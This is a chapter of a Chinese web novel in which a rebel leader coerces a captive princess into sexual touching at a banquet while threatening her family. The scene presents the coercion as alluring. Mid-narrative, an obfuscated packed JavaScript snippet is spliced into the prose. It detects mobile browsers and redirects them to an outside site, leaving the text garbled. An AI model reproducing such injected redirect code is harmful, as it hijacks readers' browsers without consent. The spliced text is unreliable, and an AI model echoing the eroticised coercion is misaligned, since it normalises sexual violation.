无论真假,被人信任终归是值得感谢的。 这日夜里,不知是谁传了消息,说柳妤月醒了。 盛珏大半夜进了她的帐,把她从被褥里拉出来。 柳妤月费了好大功夫才眨了眨眼,看着面前的盛珏,有种疲惫到骨子里,以至于懒得应付了的心态。 “你来干什么。” 以命要挟救下祝允之,当众打了这人的脸,哦对,还有想要从他眼皮子地下救人。 这三点加在一起,她觉得自己也算是和盛珏彻底撕破脸了。 本想着这人怎么的也要晾自己几天,谁知她才刚醒,他就又来了。 她实在是连应付的力气都没了。 “没事就请回吧,我困。” 本来就撕破了脸,现下更是装都不装了。 柳妤月裹了被褥,转头就要继续睡,结果又被拉住了。 烛光下,那人低头看着她,也不知在想什么,但眼睛就是一直牢牢盯在她身上。 很奇怪。 柳妤月本就身子虚,现下更不想理他,转头正打算闭眼,忽而又听见他说: “你就那么喜欢祝允之?” 柳妤月一顿,狐疑地看他。 “你大半夜来,就为了说这个?” 这没头没脑的一句,给她整不会了。 喜欢,这两个字都没出现在琅悦长公主的字典里过。 她不明白这跟他有什么关系,眼下都这个节骨眼了,他来找她第一句话不是盘问,而是一句质问? 柳妤月不明白。 喜欢又怎么样,不喜欢又怎么样。 若是未曾国破,祝允之还是她的未婚夫婿呢,她就算是喜欢,那又如何? 谁给盛珏下蛊了?叫他问出这么个蠢问题。 盛珏看着她,嘴唇动了动,却没开口。 然后转身离开。 真是奇怪。 柳妤月翻了个身,继续睡了过去。 - 自那晚之后盛珏再没来看过她。 柳妤月也乐得自在。 紧接着便是义林军入京都,也不知盛珏是不是故意,特意将她安排在了流霜殿。 那是距离冷宫最近的地方。 ——一个土匪,皇位都还没坐上,就开始学会把人放进冷宫了。 在皇宫生活了二十年的柳妤月只觉得好笑。 住进去的当晚收到祝允之的来信,说他已经安全,不必忧心。 柳妤月将信笺燃尽,看着火光,心里一时复杂起来。 错失了最好的营救时机,如今想查到母后和幼弟的位置简直是大海捞针。 可就算是大海捞针,也是要去做的。 柳妤月思忖片刻,提笔正欲写些什么,忽而门被推开,芙娘神色担忧地走了进来。 “公主……” “怎么了?” “陛下有请。” 叛军入京第一天就把前朝公主叫去,傻子都知道不是什么好事。 狼毫上的浓墨落在宣纸上,柳妤月皱眉,放下狼毫,起了身。 “走吧,迟早要来的。” - 金乾殿中,各方堂主坐两列,歌舞升平,衣香鬓影。 柳妤月踏入殿中,殿中的喧闹短暂的停止了片刻。 她依旧是极美的,步履轻轻,发间步摇微微晃动,因着大伤未愈,更添几分弱柳扶风。 盛珏的眸光牢牢锁在她身上,不自觉地摸索着指酒杯,忍不住将杯中一饮而尽。 “过来。” 盛珏招了招手,不知为何,但是看上一眼,他便忍不住心头炽热。 察觉不对,乐师便颇有眼力见的重新弹奏起乐章。 将众人的注意力,重新拉回轻歌曼舞之中。 盛珏看她慢慢走进,指尖缓缓摸索扶手。 叫来柳妤月,本就是他无聊之下的决定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227996|151293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日分封诸侯,这场晚宴,本就是为诸侯王所设。 本该是庆功宴,可盛珏看着殿中一切,却忽觉心里空落落的。 入京之前,满心眼里便是攻入京都,入住金銮殿,可如今真来了,却又觉得有些无趣。 于是他招了招手,示意身边人叫来柳妤月。 前朝公主出现在叛军的分封宴,光是想想便觉得有趣。 一想到那个女人脸上可能会浮现一丝难堪,他心头的烦闷便消散了许多。 可现实却总叫人觉着意外。 柳妤月依旧淡淡的,像是根本看不见周遭一切,她缓步走到他身边,模样看起来依旧温驯。 盛珏喉结微动,一把将她拉进怀中。 柳妤月微微皱眉,显然,方才的动作碰到了伤口。 有些疼。 她微微挣扎了片刻,挣不脱,便也就算了。 “柳妤月,我赢了。” 他看着她,忽然如此开口。 可柳妤月还是淡淡的,抬头对上他的眼睛时,平静依旧:“是吗?” 她笑了下,眼底有几分嘲弄:“那妾身恭祝大王,江山社稷,千秋万代。” 她将千秋万代四个字咬的极重,显然是在嘲讽。 盛珏却也不恼,笑了下:“你要想救你的母后和幼弟,不如乖顺些。” 柳妤月一顿,笑意僵在脸上。 显然,盛珏已然知道了她的软肋,并且,正在试图控制她。 “大王觉得,我要如何乖顺?” 她换上熟悉的温驯神色,轻轻笑了下,美得不可方物。 盛珏的眼神幽深了几分,他揽着她腰肢的手紧了紧,低声说:“那就听话。” 他的大手覆上少女的柔夷,缓缓带着她的手,探入她的裙摆下。 柳妤月指尖一颤,满脑子仁义道德的公主何曾见过这么孟浪的事儿,她下意识想要挣扎,却又被那人牢牢摁住。 大殿下歌舞升平,丝竹之声不绝于耳,他如愿在她脸上看到了些许类似窘困的神色。 心头的烦闷骤然却散了大半。 “盛珏,你疯了!这么多人!”柳妤月压低了声音,耳根染上绯色。 “不有趣吗?”盛珏满意地笑,这样的事儿打从见她第一面时便想做了。 不知是不是喝了酒的缘故,如今的他意识有些飘忽,整个人孟浪的厉害。 他故意捏着她的手指,轻轻摩挲。 下一秒,怀里的人身子一颤,下意识攥紧了他的衣袖。 ——这是认识这些日子以来,她唯一会服软的时候。 “别在这里。”柳妤月微微咬着牙,试图劝说他:“你——唔。” 他轻轻捏了她一下,微疼,柳妤月皱了下眉,根本什么话都说不出口。 “我伤还没好,你放过我。” 盛珏没说话。 这是他少有能掌控这个女人的时候。 “柳妤月,哄我开心。” 他漫不经心的开口,抓住她想逃跑的手,看着依旧是淡淡的,但却莫名有些执拗:“让我开心。” 柳妤月简直要疯了。 这人开不开心关她什么事,可人在屋檐下不得不低头。 柳妤月只能问一句:“我要怎么让你开心。” 盛珏顿了顿,看她: “你说,你不喜欢祝允之。”